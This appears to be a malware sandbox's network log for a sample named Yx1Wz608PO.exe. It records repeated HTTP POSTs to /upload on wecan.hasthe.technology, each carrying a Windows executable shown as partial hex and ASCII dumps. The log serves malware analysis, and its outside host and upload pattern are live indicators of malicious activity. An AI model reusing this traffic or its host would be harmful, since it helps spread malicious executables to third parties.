Oct 10, 2024 21:02:15.621309042 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:15.621418953 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:15.621448994 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:15.621475935 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:15.621499062 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:15.938735962 CEST	821	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:15 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:15 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FXjQHVsWzj6mLYwlE8jfVpAt85j%2FNIrW95gNjNon8SnKOjhxdLW8kovjRkdH%2FT%2BQM3hJhzDFlY%2FRB%2FZus0C%2BY1el32hEvBb55U0uQlh7htWV7QfUmomkInd4KYAjOSNURZDEG0FWq1NGtA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd1b5ee51825-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50380	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:16.077626944 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------0814bc3f32678c34
Oct 10, 2024 21:02:16.549978018 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:16.550879002 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 38 31 34 62 63 33 66 33 32 36 37 38 63 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------0814bc3f32678c34Content-Disposition: form-data; name="file[]"; filename="rifaien2-ifcsZ28RZVEhoCrQ.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:16.551076889 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:16.556149006 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:16.556220055 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:16.556243896 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:16.556258917 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:16.556370974 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:16.556399107 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:16.556454897 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:16.556479931 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:16.874183893 CEST	821	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:16 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:16 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZswB%2B9pOYYEcZS9tS9MtWj%2BfP05WSeGfITLDi01G16wWGP%2B8gBRyblBoH%2BciwXO%2Fp2Hxr55BVpR9hvJq90m1KXdPFu%2FJFgALSTvmpSuJpCG78JjfPRnkjvV946W6GqkYF3a6h%2FYZD2qTzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd213c065e82-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50388	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:17.075839996 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------6eb2393ab8bdaec4
Oct 10, 2024 21:02:17.575067043 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:17.576339006 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 65 62 32 33 39 33 61 62 38 62 64 61 65 63 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------6eb2393ab8bdaec4Content-Disposition: form-data; name="file[]"; filename="rifaien2-LUEYWSrnqnW64tyL.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:17.576562881 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:17.581608057 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:17.581639051 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:17.581715107 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:17.581795931 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:17.581819057 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:17.581902981 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:17.581943989 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:17.582048893 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:17.894593000 CEST	821	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:17 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:17 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=06xbQwx5bAN45tqyjizIKfjE6kAGU3FUHOdcuACE0tOce6H%2BlxCfTAoxaF5eIinw%2B1GBFmCuj2S2rr1%2BUuPIUXiyPsNIkBGolGgdqta9M2tw%2B2KOEzk1Pcw%2FnW%2BObyx%2FnHzt3rP3snbGBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd27ae90c3fd-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50394	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:18.040069103 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------9180640e8e03fb47
Oct 10, 2024 21:02:18.483772039 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:18.484642029 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 31 38 30 36 34 30 65 38 65 30 33 66 62 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------9180640e8e03fb47Content-Disposition: form-data; name="file[]"; filename="rifaien2-L9Cwe3j2i64ZA5Re.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:18.484920025 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:18.490281105 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:18.490335941 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:18.490395069 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:18.490452051 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:18.490483046 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:18.490513086 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:18.490537882 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:18.490559101 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
